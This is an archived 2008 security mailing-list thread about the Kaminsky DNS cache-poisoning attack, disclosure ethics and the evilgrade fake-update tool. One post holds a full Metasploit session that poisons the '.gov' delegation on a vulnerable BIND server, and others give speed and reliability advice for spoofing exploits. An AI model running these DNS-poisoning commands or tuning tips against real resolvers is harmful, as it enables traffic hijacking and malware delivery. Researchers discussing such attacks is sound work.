into this bug? It's essentially something in the floating point instruction set of intel chips you can trigger from Java (or C# I assume) to escape the sandbox (write to memory, I assume). http://www.infoworld.com/article/08/07/14/Researcher_to_demonstrate_attack_code_for_Intel_chips_1.html The motto of the week is that you can't hint at bugs or people will just find them. Either full disclosure or no-disclosure wins, because there's no point doing anything else. :> - -dave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIiafLtehAhL0gheoRAk3IAJ9YZ8fMaxLWCcoFD4RLAb89hONs4QCfabU6 W114Co0kGmJGAvvUqyS2RZc= =KPkY -----END PGP SIGNATURE----- From bburns at juniper.net Fri Jul 25 12:20:08 2008 From: bburns at juniper.net (Bryan Burns) Date: Fri, 25 Jul 2008 09:20:08 -0700 Subject: [Dailydave] DNS Speculation In-Reply-To: Message-ID: Hi Marc, I wrote a python version of the attack as well, and ran into the same problem with scapy.send() being far too slow. However, scapy.sendpfast() uses tcpreplay to send the packets which if anything is too fast. I had to specify a limiting pps value to keep from sending all the spoofed responses before the target server had a chance to send its own request.. The only caveat with sendpfast() vs send() is that it sends at layer2, so you'll need to prefix an Ethernet() header to your IP packets.. help(scapy.sendpfast) Help on function sendpfast in module scapy: sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, iface=None) Send packets at layer 2 using tcpreplay for performance pps: packets per second mpbs: MBits per second realtime: use packet's timestamp, bending time with realtime value loop: number of times to process the packet list iface: output interface -Bryan On 7/24/08 6:34 PM, "marc_bevand at rapid7.com" wrote: > It is cool to see a ruby implementation of the Kaminsky attack that is > apparently fast enough... Yesterday I was working on a python > implementation > using scapy but the scapy.send() call was taking 1+ ms to execute because > of > lack of optimization: the way it is implemented, each send() fetches > interface > information via ioctl() calls, etc. From pty.err at gmail.com Fri Jul 25 14:20:56 2008 From: pty.err at gmail.com (Parity) Date: Fri, 25 Jul 2008 14:20:56 -0400 Subject: [Dailydave] DNS "leak" In-Reply-To: <20080725060002.GA33032@dsl093-068-005.sfo1.dsl.speakeasy.net> References: <20080725060002.GA33032@dsl093-068-005.sfo1.dsl.speakeasy.net> Message-ID: <1cd499dd0807251120y14e20412re4dbee6d3075a1bd@mail.gmail.com> When Halvar's post went up, it was unclear -- even to Halvar -- whether he had found a viable attack. Moreover, even after the bailiwick angle came to light, nobody except Dan & his trustees had any way of knowing whether Halvar had found the same attack, or a different one. But even if Halvar had nailed the attack with 100% accuracy, Matasano was particularly obliged *not* to confirm or deny. Unlike the rest of the public, Matasano was bound by an agreement Thomas made with Dan. I appreciate that Matasano owned up to their mistake, but it *was* a mistake. Confirmation should have come from anywhere - Dan, you, me, even n3td3v ;) - except Matasano. pty On Fri, Jul 25, 2008 at 2:00 AM, Alexander Sotirov wrote: > Why are people (including Dan) referring to the Matasano post as a leak? > Halvar > got 95% of the attack right in his blog post. He figured out that: > > 1) sending an A records for ns.victim.com in the spoofed response will > poison the cache > 2) doing multiple queries for non-existant domains gives us an unlimited > number of > opportunities to spoof a response > 3) using a different domain in each query avoids the problems with cached > responses > > The only mistake in his attack is that he's sending queries for xxx.cominstead > of xxx.victim.com. It wouldn't have taken long for somebody who knows what > 'in > bailiwick' means to realize out that the fake ns.victim.com RR needs to be > in a > response for a .victim.com domain and then they'll have the full attack > figured > out. > > When 95% of the vulnerability are public information and remaining 5% are > easy > to guess, you have to treat the bug as public. How can Matasano leak > something > that's public? > > Alex > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080725/b58f357e/attachment.htm From valsmith at offensivecomputing.net Sun Jul 27 14:52:49 2008 From: valsmith at offensivecomputing.net (val smith) Date: Sun, 27 Jul 2008 12:52:49 -0600 Subject: [Dailydave] Blog spam, obfuscated javascript and more! Message-ID: Don't know how many of you care about malware stuff but just in case, we released a paper on OC: http://www.offensivecomputing.net/papers/valsmith_colin_blog_spam.pdf Its pretty rough and disorganized but covers some reversing, analyzing obfuscated javascript, and the potential home IP of one of the "attackers". V. -- ****************************************** * Val Smith * CTO Offensive Computing, LLC * http://www.offensivecomputing.net ******************************************* From lek at xs4all.nl Mon Jul 28 11:22:13 2008 From: lek at xs4all.nl (Petja van der Lek) Date: Mon, 28 Jul 2008 17:22:13 +0200 Subject: [Dailydave] Blog spam, obfuscated javascript and more! In-Reply-To: References: Message-ID: <488DE425.2090406@xs4all.nl> A word of warning might be in order: the PDF is filled with hyperlinks to (presumably) live malware sites. Navigating the document is therefore not unlike playing Minesweeper. Red flags are not powerups but mean "danger". Mis-click to get pwned. Stuff like that. You might want to use a reader that at least asks for confirmation before it serves up the site in your browser (a quick test shows that Adobe Reader 7 as a Firefox plugin happily opens a link without asking anything, for instance). That said, it's an excellent read! Cheers, Lek. val smith wrote: > Don't know how many of you care about malware stuff but just in case, > we released a paper on OC: > > http://www.offensivecomputing.net/papers/valsmith_colin_blog_spam.pdf > > Its pretty rough and disorganized but covers some reversing, analyzing > obfuscated javascript, and the potential home IP of one of the > "attackers". > > V. > > From noreply at infobyte.com.ar Mon Jul 28 12:02:56 2008 From: noreply at infobyte.com.ar ([ISR] - Infobyte Security Research) Date: Mon, 28 Jul 2008 13:02:56 -0300 Subject: [Dailydave] Tool release: [evilgrade] - Using DNS cache poisoning to exploit poor update implementations Message-ID: <200807281302.56246.noreply@infobyte.com.ar> -- ISR - Infobyte Security Research -- | ISR-evilgrade | www.infobyte.com.ar | ISR-evilgrade: is a modular framework that allow us to take advantage of poor upgrade implementations by injecting fake updates. * How does it work? It works with modules, each module implements the structure needed to emulate a false update of specific applications/systems. Evilgrade needs the manipulation of the victim dns traffic. Attack vectors: --------------------- Internal scenary: (Internal DNS access,ARP spoofing,DNS Cache Poisoning, DHCP spoofing) External scenary: (Internal DNS access,DNS Cache Poisoning) * What are the supported OS? The framework is multiplaform, it only depends of having the right payload for the target platform to be exploited. Implemented modules: --------------------------------- - Java plugin - Winzip - Winamp - MacOS - OpenOffices - iTunes - Linkedin Toolbar - DAP [Download Accelerator] - notepad++ - speedbit ..:: DEMO Demo feature - (Java plugin + Dan Kaminsky?s Dns vulnerability) = remote pwned. http://www.infobyte.com.ar/demo/evilgrade.htm ..:: AUTHOR Francisco Amato famato+at+infobyte+dot+com+dot+ar ..:: DOWNLOAD http://www.infobyte.com.ar/developments.html ..:: MORE INFORMATION Presentation: http://www.infobyte.com.ar/down/Francisco-Amato-evilgrade-ENG.html From dave.korn at artimi.com Mon Jul 28 12:54:00 2008 From: dave.korn at artimi.com (Dave Korn) Date: Mon, 28 Jul 2008 17:54:00 +0100 Subject: [Dailydave] Blog spam, obfuscated javascript and more! In-Reply-To: <488DE425.2090406@xs4all.nl> References: <488DE425.2090406@xs4all.nl> Message-ID: <032c01c8f0d2$8892ce60$9601a8c0@CAM.ARTIMI.COM> Petja van der Lek wrote on 28 July 2008 16:22: > A word of warning might be in order: the PDF is filled with hyperlinks > to (presumably) live malware sites. Navigating the document is therefore > not unlike playing Minesweeper. Red flags are not powerups but mean > "danger". Mis-click to get pwned. You allow your browser to run javascript ... by default? ... or only specifically when studying malware? > Stuff like that. You might want to use > a reader that at least asks for confirmation before it serves up the > site in your browser (a quick test shows that Adobe Reader 7 as a > Firefox plugin You read PDFs in your browser using the plugin?[*] > happily opens a link without asking anything, for instance). You're barking up the wrong hole here. The problem isn't that if you click a link in a PDF document viewed in your browser you will browse straight to it; that's no different than clicking a link on a HTML page viewed in your browser, and you wouldn't expect it to ask before it followed a link there. The problem is that you're running untrusted scripts: you're as vulnerable to getting pwned by an iframe banner ad on MSN or Yahoo as you are to clumsily clicking a link in a document about malware. Seriously, nobody should even be here if they don't appreciate that they're dealing with live munitions and know how to handle them safely. cheers, DaveK [*] - that's not really a security boggle, that's more of a how-the-hell-long-before-I-get-control-of-my-browser-back-thank-you-very-muc h-adobe-and-your-godawful-bloatware boggle. Though of course I would still recommend downloading PDFs with "Save link as..." and viewing them in foxit so that they're not in the same process space as your browser, just for a bit of added insulation. -- Can't think of a witty .sigline today.... From lek at xs4all.nl Mon Jul 28 13:08:41 2008 From: lek at xs4all.nl (Petja van der Lek) Date: Mon, 28 Jul 2008 19:08:41 +0200 Subject: [Dailydave] Blog spam, obfuscated javascript and more! In-Reply-To: <032c01c8f0d2$8892ce60$9601a8c0@CAM.ARTIMI.COM> References: <488DE425.2090406@xs4all.nl> <032c01c8f0d2$8892ce60$9601a8c0@CAM.ARTIMI.COM> Message-ID: <488DFD19.9070508@xs4all.nl> Fear not: NoScript and Foxit are my trusty companions and Adobloat has been banished to a toxic storage VM a long time ago. My message was just intended as a public service notice, in the off chance that there are still some people out there that haven't taken similar precautions. (*remembers what list he's on before letting voice trail off into silence and trying to leave the room unnoticed*). Nothing to see here. Carry on. Dave Korn wrote: > Petja van der Lek wrote on 28 July 2008 16:22: > > >> A word of warning might be in order: the PDF is filled with hyperlinks >> to (presumably) live malware sites. Navigating the document is therefore >> not unlike playing Minesweeper. Red flags are not powerups but mean >> "danger". Mis-click to get pwned. >> > > You allow your browser to run javascript ... by default? ... or > only specifically when studying malware? > > >> Stuff like that. You might want to use >> a reader that at least asks for confirmation before it serves up the >> site in your browser (a quick test shows that Adobe Reader 7 as a >> Firefox plugin >> > > You read PDFs in your browser using the plugin?[*] > > >> happily opens a link without asking anything, for instance). >> > > You're barking up the wrong hole here. The problem isn't that if you > click a link in a PDF document viewed in your browser you will browse > straight to it; that's no different than clicking a link on a HTML page > viewed in your browser, and you wouldn't expect it to ask before it followed > a link there. The problem is that you're running untrusted scripts: you're > as vulnerable to getting pwned by an iframe banner ad on MSN or Yahoo as you > are to clumsily clicking a link in a document about malware. > > > Seriously, nobody should even be here if they don't appreciate that > they're dealing with live munitions and know how to handle them safely. > > cheers, > DaveK > > [*] - that's not really a security boggle, that's more of a > how-the-hell-long-before-I-get-control-of-my-browser-back-thank-you-very-muc > h-adobe-and-your-godawful-bloatware boggle. Though of course I would still > recommend downloading PDFs with "Save link as..." and viewing them in foxit > so that they're not in the same process space as your browser, just for a > bit of added insulation. > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080728/41f18255/attachment-0001.htm From marc_bevand at rapid7.com Mon Jul 28 12:45:33 2008 From: marc_bevand at rapid7.com (marc_bevand at rapid7.com) Date: Mon, 28 Jul 2008 09:45:33 -0700 Subject: [Dailydave] DNS Speculation In-Reply-To: References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> <1216812165.6117.27.camel@anduril.intranet.cartel-securite.net> <1216873604.9110.52.camel@anduril.intranet.cartel-securite.net> Message-ID: Philippe Biondi wrote on 07/26/2008 01:00:57 PM: > > Did you do something like: > > for i in range(500): > send(pkt) > or > while True: > send(pkt) > > In this case the "optimised" way to do it would be (resp.) : > > send(pkt*500) Passing a list of packets to send() was the first optimization I tried. But it was still too slow. > At last resort, you have the sendpfast() function which Bryan > spoke about. I didn't try sendpfast(), but, yes, according to Bryan this seems to be the solution. > Or did the problem was that the time between creating the packet and > having it hit the wire is too big because most of the initialisation > done by send() could have been done before ? > > In this case, the way to do it would be to avoid send()' > high-levelness and directly use scapy layer 3 socket: > > s = conf.L3socket() > while True: > ** do stuff, create pkt ** > s.send(pkt) This is the 2nd optimization I tried, and the fastest scapy exploit I could come up with. But even when stracing it, I could see extra system calls being called between the sendto(). IIRC this 2nd optimization allowed me to send packets at a rate about 2 or 3 times faster than my first Python version, but it was still about twice as slow as my C implementation. > In any cases, I'm interested by feedback on improvements this could > provide. I think sendpfast() is a good solution for this case. -marc From valsmith at offensivecomputing.net Mon Jul 28 13:44:37 2008 From: valsmith at offensivecomputing.net (val smith) Date: Mon, 28 Jul 2008 11:44:37 -0600 Subject: [Dailydave] Blog spam, obfuscated javascript and more! In-Reply-To: <488DE425.2090406@xs4all.nl> References: <488DE425.2090406@xs4all.nl> Message-ID: The thing that I would say is that everyone should know when you go to my site you will be encountering live malware. I'm sort of a "full disclosure for malware" type of person. I don't censor anything, unlike many other analysis organizations. I respect their position on censoring things like links, etc. but I believe in a different way. I have a big warning on my site, but just to re-iterate: Offensive Computing has live, malicious samples of evil software. We will also post direct links to bad guys and sites hosting malware. This is so competent analysts can find the samples, know what they are dealing with and so we are all on equal footing. I don't want to be the only one holding the information and everyone else has to guess about it. The malware disclosure debate is decades old and won't ever be resolved, (definitely not by me) but I will keep on doing what I think is right. Therefore you should always use best safety practices at all times, such as sandboxes, virtual machines, safe browsers, safe document viewers, etc. I don't even surf the web from a non-virtualized host anymore. V. On Mon, Jul 28, 2008 at 9:22 AM, Petja van der Lek wrote: > A word of warning might be in order: the PDF is filled with hyperlinks to > (presumably) live malware sites. Navigating the document is therefore not > unlike playing Minesweeper. Red flags are not powerups but mean "danger". > Mis-click to get pwned. Stuff like that. You might want to use a reader that > at least asks for confirmation before it serves up the site in your browser > (a quick test shows that Adobe Reader 7 as a Firefox plugin happily opens a > link without asking anything, for instance). > > That said, it's an excellent read! > > Cheers, > Lek. > > val smith wrote: >> >> Don't know how many of you care about malware stuff but just in case, >> we released a paper on OC: >> >> http://www.offensivecomputing.net/papers/valsmith_colin_blog_spam.pdf >> >> Its pretty rough and disorganized but covers some reversing, analyzing >> obfuscated javascript, and the potential home IP of one of the >> "attackers". >> >> V. >> >> > -- ****************************************** * Val Smith * CTO Offensive Computing, LLC * http://www.offensivecomputing.net ******************************************* From noreply at infobyte.com.ar Tue Jul 29 09:31:22 2008 From: noreply at infobyte.com.ar (Francisco Amato) Date: Tue, 29 Jul 2008 10:31:22 -0300 Subject: [Dailydave] Tool release: [evilgrade] - A question about Mac Updates In-Reply-To: <488ECF40.7090005@invisiblethingslab.com> References: <200807281302.56246.noreply@infobyte.com.ar> <488ECF40.7090005@invisiblethingslab.com> Message-ID: Hello Joanna, The module osx.pm exploit the vulnerability CVE 2007-5863, discoverer by Moritz Jodeit. This module allows for arbitrary command execution through "cmd" variable. Regards, -- Francisco Amato [ISR] - Infobyte Security Research Chile 1441 - Segundo Cuerpo - Primer Piso [C1098ABC] Buenos Aires - Argentina Tel: 43837000 http://www.infobyte.com.ar On Tue, Jul 29, 2008 at 5:05 AM, Joanna Rutkowska wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > [ISR] - Infobyte Security Research wrote: > | > | Implemented modules: > | --------------------------------- > | - Java plugin > | - Winzip > | - Winamp > | - MacOS > | - OpenOffices > | - iTunes > | - Linkedin Toolbar > | - DAP [Download Accelerator] > | - notepad++ > | - speedbit > | > > So, Mac OSX's Software Update doesn't verify signatures of the update > packages it downloads? Given then Leopard's so much advertised code > signing feature, I would expect that all the updates are signed. Can you > please comment on this? > > For example most of the Apple-provided App packages are indeed signed -- > you can verify this using e.g. this command: > > find /Applications -name "*.app" -exec codesign -v {} \; > > Some interesting exceptions though: > > /Applications/iWork '08/Keynote.app: code object is not signed > /Applications/iWork '08/Numbers.app: code object is not signed > /Applications/iWork '08/Pages.app: code object is not signed > > :) > > Unfortunately verifying e.g. /System/Library/Extensions is even worse, > i.e. even more unsigned packages. > > But still, I would expect that maybe Apple doesn't sign every single > executable (BTW, MS is doing that since Windows 2000), but at least signs > the update packages? No?! > > Thanks, > joanna. > > -----BEGIN PGP SIGNATURE----- > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAkiOzz4ACgkQORdkotfEW87J8wCeK5GUh5OlsWdoDEGPRaAOHt27 > joEAoL+XFo1xCBCkSaUmPVinKLNwO++P > =ZShx > -----END PGP SIGNATURE----- > From Brian at cms.ca Tue Jul 29 10:49:45 2008 From: Brian at cms.ca (Brian Bourne) Date: Tue, 29 Jul 2008 10:49:45 -0400 Subject: [Dailydave] SecTor 2008 Call for Speakers - Second Round Message-ID: <0880489754536A46AB2BC2EDA311969EBECDE23197@mail2k7.corp.cms.ca> SecTor 2008 is currently open to speaking proposals. Visit http://www.sector.ca/ to learn more about the event. SecTor is all about the meat -- The content that matters to Canadian IT Security Professionals today. Of course we'll have fun and celebrate having the world's best in Toronto, but the key to SecTor's success, and thus the primary objective of the Management Committee and Advisory Committee, is quality content and presentation for attendees. This is a call for speakers/papers. If we haven't approached you, but you believe you have a significant discovery or new research that the security community would value, or enjoy hearing about, we invite you to submit your presentation topic for serious consideration. Selected speakers will have travel costs covered. This is now the second and final round of speaker selection, please make your proposal submissions before August 31st, 2008. Selections will be announced early in September. You will not be contacted until that time. To allow for late breaking research to be presented, submissions after the deadline will be accepted on an exception basis only. SecTor attendees are a mix of security professionals and vendors, programmers, students, network administrators and IT executives. Preference will be given to speakers who can present new and innovative technical content to a broad audience. Of course, all presentations are expected to challenge the brightest and quickest of attendees - we wouldn't have it any other way. SecTor is not a vendor fair. Consequently, there will be very little tolerance for commercial content within presentations. Attendees will be encouraged to quell any shameless marketing that is not immediately backed up with rationale for its inclusion. Proposals should consist of the following information: 1. Presenter and contact info (country of origin and residence-mail, postal address, phone, fax). 2. Employer and/or affiliations. 3. Brief biography, list of publications and papers. 4. Any significant presentation and educational experience/background. 5. Topic synopsis, Proposed paper title, and a one paragraph description. 6. Reason why this material is innovative or significant or an important tutorial. 7. Optionally, any samples of prepared material or outlines ready. 8. Will you have full text available or only slides? 9. Please list any other publications or conferences where this material has been or will be published/submitted. Please include the plain text version of this information in your email as well as any file, pdf, sxw, ppt, or html attachments. Please forward the above information to management at sector.ca. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080729/5159b6fd/attachment.htm From dave at immunityinc.com Tue Jul 29 16:59:51 2008 From: dave at immunityinc.com (Dave Aitel) Date: Tue, 29 Jul 2008 16:59:51 -0400 Subject: [Dailydave] DNS and other fun. Message-ID: <488F84C7.1050807@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 If you're mucking with Marc Bevand's exploit in order to do some speed comparisons you may want to fix this line: (sizeof(buf) is 4 since buf is a pointer, of course). ~ dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN, ~ (unsigned)(IP_LEN_MAX - (IP_HDR_LEN + UDP_HDR_LEN)), <--fixed. We're not using Scapy here, but in Python (and Ruby, I assume?) you don't want to do your creation of packets along-side your sending of packets. You probably want to do something like this: buffers=create_all_data_buffers() for buffer in buffers: ~ raw_sock_send(buffer) I'm not sure how having tcpreplay helps since all your packets are different (via TXID incrementing, which of course means you have to do your UDP checksum over). Is packet-loss the big problem you're seeing? Importing psyco should make your Python code faster as well, although still REALLY slow compared to C (so far in my testing). People say that the public exploits don't work with Bind9 (even unpatched). Go Vixie and Co! :> And in Vegas news: It is true, hackers do get the girls. Just like in the movies. Even more so really, now that the economy is crappier so being able to afford your house payment is uber-sexy... !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Immunity is bringing the test, Edgeos is bringing the Sexy Hacking girls . Rumor has it that certified NOP's might receive invitations to the exclusive and still-secret Sexy Hacking party at Defcon. More details soon! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! - -dave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIj4TFtehAhL0gheoRAoi/AJ42lTry1I1XVmnVp29EQkPf7mHtTwCffOrE Azq4oLsFxjRMJjJqV7kGgXM= =D6uJ -----END PGP SIGNATURE----- From dailydave at digitaloffense.net Tue Jul 29 17:58:39 2008 From: dailydave at digitaloffense.net (H D Moore) Date: Tue, 29 Jul 2008 16:58:39 -0500 Subject: [Dailydave] DNS and other fun. In-Reply-To: <488F84C7.1050807@immunityinc.com> References: <488F84C7.1050807@immunityinc.com> Message-ID: <200807291658.39279.dailydave@digitaloffense.net> I still don't understand why speed *matters* -- the existing metasploit modules nail every BIND 9 server I have tested within a minute or two (as long as they have a static source port). I imagine speed would be more of a concern for more-random source ports, but this craze over 10 seconds vs two minutes seems ridiculous. I don't mind waiting a couple minutes to poison an entire TLD. The one major optimization we added to the metasploit modules was the ability to determine the race window for a particular cache server and target domain. This prevents us from sending packets after the real one has already arrived and resulted in a 3-4 x speedup. Even still, poisoning a TLD with 13 nameservers just isn't that long of a wait. My 0.02, -HD On Tuesday 29 July 2008, Dave Aitel wrote: > We're not using Scapy here, but in Python (and Ruby, I assume?) you > don't want to do your creation of packets along-side your sending of > packets. You probably want to do something like this: From dailydave at digitaloffense.net Tue Jul 29 17:59:00 2008 From: dailydave at digitaloffense.net (H D Moore) Date: Tue, 29 Jul 2008 16:59:00 -0500 Subject: [Dailydave] DNS and other fun. In-Reply-To: <200807291652.00569.-dailydave@digitaloffense.net> References: <488F84C7.1050807@immunityinc.com> <200807291652.00569.-dailydave@digitaloffense.net> Message-ID: <200807291659.00831.dailydave@digitaloffense.net> Below is an example of poisoning ".gov" on a vulnerable BIND 9 instance. This took about two minutes, no crazy fast packet generation required. msf > use auxiliary/spoof/dns/bailiwicked_domain msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D RHOST => A.B.C.D msf auxiliary(bailiwicked_domain) > set DOMAIN gov DOMAIN => net msf auxiliary(bailiwicked_domain) > set SRCPORT 0 SRCPORT => 0 msf auxiliary(bailiwicked_domain) > set NEWDNS msfdns.ath.cx NEWDNS => msfdns.ath.cx msf auxiliary(bailiwicked_domain) > run [*] Switching to target port 48178 based on Metasploit service [*] Warning: target address A.B.C.D is not the same as the nameserver's query source address 72.48.121.197! [*] Targeting nameserver A.B.C.D for injection of gov. nameservers as msfdns.ath.cx [*] Querying recon nameserver for gov.'s nameservers... [*] Got an NS record: gov. 172717 IN NS F.GOV.ZONEEDIT.COM. [*] Querying recon nameserver for address of F.GOV.ZONEEDIT.COM.... [*] Got an A record: F.GOV.ZONEEDIT.COM. 172717 IN A 66.197.185.229 [*] Checking Authoritativeness: Querying 66.197.185.229 for gov.... [*] F.GOV.ZONEEDIT.COM. is authoritative for gov., adding to list of nameservers to spoof as [*] Got an NS record: gov. 172717 IN NS G.GOV.ZONEEDIT.COM. [*] Querying recon nameserver for address of G.GOV.ZONEEDIT.COM.... [*] Got an A record: G.GOV.ZONEEDIT.COM. 172717 IN A 66.135.32.100 [*] Checking Authoritativeness: Querying 66.135.32.100 for gov.... [*] G.GOV.ZONEEDIT.COM. is authoritative for gov., adding to list of nameservers to spoof as [*] Got an NS record: gov. 172717 IN NS C.GOV.ZONEEDIT.COM. [*] Querying recon nameserver for address of C.GOV.ZONEEDIT.COM.... [*] Got an A record: C.GOV.ZONEEDIT.COM. 172716 IN A 69.72.142.35 [*] Checking Authoritativeness: Querying 69.72.142.35 for gov.... [*] C.GOV.ZONEEDIT.COM. is authoritative for gov., adding to list of nameservers to spoof as [*] Got an NS record: gov. 172717 IN NS E.GOV.ZONEEDIT.COM. [*] Querying recon nameserver for address of E.GOV.ZONEEDIT.COM.... [*] Got an A record: E.GOV.ZONEEDIT.COM. 172716 IN A 82.165.40.134 [*] Checking Authoritativeness: Querying 82.165.40.134 for gov.... [*] E.GOV.ZONEEDIT.COM. is authoritative for gov., adding to list of nameservers to spoof as [*] Got an NS record: gov. 172717 IN NS D.GOV.ZONEEDIT.COM. [*] Querying recon nameserver for address of D.GOV.ZONEEDIT.COM.... [*] Got an A record: D.GOV.ZONEEDIT.COM. 172716 IN A 209.97.207.48 [*] Checking Authoritativeness: Querying 209.97.207.48 for gov.... [*] D.GOV.ZONEEDIT.COM. is authoritative for gov., adding to list of nameservers to spoof as [*] Got an NS record: gov. 172717 IN NS A.GOV.ZONEEDIT.COM. [*] Querying recon nameserver for address of A.GOV.ZONEEDIT.COM.... [*] Got an A record: A.GOV.ZONEEDIT.COM. 172716 IN A 216.55.155.29 [*] Checking Authoritativeness: Querying 216.55.155.29 for gov.... [*] A.GOV.ZONEEDIT.COM. is authoritative for gov., adding to list of nameservers to spoof as [*] Got an NS record: gov. 172717 IN NS B.GOV.ZONEEDIT.COM. [*] Querying recon nameserver for address of B.GOV.ZONEEDIT.COM.... [*] Got an A record: B.GOV.ZONEEDIT.COM. 172715 IN A 206.51.224.229 [*] Checking Authoritativeness: Querying 206.51.224.229 for gov.... [*] B.GOV.ZONEEDIT.COM. is authoritative for gov., adding to list of nameservers to spoof as [*] Calculating the number of spoofed replies to send per query... [*] race calc: 100 queries | min/max/avg time: 0.01/0.19/0.04 | min/max/avg replies: 2/118/24 [*] Sending 5 spoofed replies from each nameserver (7) for each query [*] Attempting to inject poison records for gov.'s nameservers into A.B.C.D:48178... [*] Sent 1000 queries and 35000 spoofed responses... [*] Recalculating the number of spoofed replies to send per query... [*] race calc: 25 queries | min/max/avg time: 0.01/0.11/0.03 | min/max/avg replies: 8/54/22 [*] Now sending 4 spoofed replies from each nameserver (7) for each query [*] Sent 2000 queries and 63000 spoofed responses... [*] Recalculating the number of spoofed replies to send per query... [*] race calc: 25 queries | min/max/avg time: 0.01/0.1/0.02 | min/max/avg replies: 3/35/16 [*] Now sending 3 spoofed replies from each nameserver (7) for each query [*] Sent 3000 queries and 84000 spoofed responses... [*] Recalculating the number of spoofed replies to send per query... [*] race calc: 25 queries | min/max/avg time: 0.01/0.14/0.03 | min/max/avg replies: 3/72/21 [*] Now sending 4 spoofed replies from each nameserver (7) for each query [*] Sent 4000 queries and 112000 spoofed responses... [*] Recalculating the number of spoofed replies to send per query... [*] race calc: 25 queries | min/max/avg time: 0.02/0.08/0.03 | min/max/avg replies: 8/40/28 [*] Now sending 6 spoofed replies from each nameserver (7) for each query [*] Poisoning successful after 4000 queries and 112000 responses: gov. == msfdns.ath.cx [*] Auxiliary module execution completed msf auxiliary(bailiwicked_domain) > dig -t a poisoning_tlds_is_fun_and_fast.gov @A.B.C.D [*] exec: dig -t a poisoning_tlds_is_fun_and_fast.gov @A.B.C.D ; <<>> DiG 9.3.2 <<>> -t a poisoning_tlds_is_fun_and_fast.gov @A.B.C.D ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5757 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1 ;; QUESTION SECTION: ;poisoning_tlds_is_fun_and_fast.gov. IN A ;; ANSWER SECTION: poisoning_tlds_is_fun_and_fast.gov. 60 IN A 1.3.3.7 ;; AUTHORITY SECTION: gov. 41938 IN NS msfdns.ath.cx. ;; ADDITIONAL SECTION: msfdns.ath.cx. 3 IN A 71.41.138.124 ;; Query time: 23 msec ;; SERVER: A.B.C.D#53(A.B.C.D) ;; WHEN: Tue Jul 29 16:55:08 2008 ;; MSG SIZE rcvd: 111 poisoning_tlds_is_fun_and_fast.gov = 1.3.3.7 From marc_bevand at rapid7.com Tue Jul 29 20:10:36 2008 From: marc_bevand at rapid7.com (marc_bevand at rapid7.com) Date: Tue, 29 Jul 2008 17:10:36 -0700 Subject: [Dailydave] DNS and other fun. In-Reply-To: <488F84C7.1050807@immunityinc.com> References: <488F84C7.1050807@immunityinc.com> Message-ID: dailydave-bounces at lists.immunitysec.com wrote on 07/29/2008 01:59:51 PM: > > If you're mucking with Marc Bevand's exploit in order to do some speed > comparisons you may want to fix this line: > (sizeof(buf) is 4 since buf is a pointer, of course). > > ~ dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN, > ~ (unsigned)(IP_LEN_MAX - (IP_HDR_LEN + UDP_HDR_LEN)), <--fixed. Correct. BTW the same bug exists in build_query(). > I'm not sure how having tcpreplay helps since all your packets are > different (via TXID incrementing, which of course means you have to do > your UDP checksum over). Is packet-loss the big problem you're seeing? The Python exploit worked just fine, it was just slow... So slow at sending spoofed replies it couldn't possibly cause packet loss. Although I have never used tcpreplay, I assume it would help because what is slow is not building/checksuming the packets but actually sending them, and to send them tcpreplay probably issues a simple series of consecutive sendto() calls without all the overhead imposed by scapy. > Importing psyco should make your Python code faster as well, although > still REALLY slow compared to C (so far in my testing). People say that > the public exploits don't work with Bind9 (even unpatched). Go Vixie and > Co! :> I have had success exploiting BIND 9.3.4 and 9.5.0 in my lab. In my experience the 2 most likely causes of exploit failures are: o Domains with many authoritative servers are a bit harder to poison: try poisoning example.com (2) before yahoo.com (7). My exploit requires the attacker to predict which one is going to be used. The metasploit module spoofs replies from all of the authoritative servers, but this reduces the number of TXIDs it can bruteforce per DNS request. o When the NS record is poisoned, the victim caching resolver will start to use it, but if it is unresponsive (eg. was poisoned with a dummy IP), the resolver will quickly re-fetch the legitimate NS records. The attacker might not even notice the poisoning was successful for a short period of time. -marc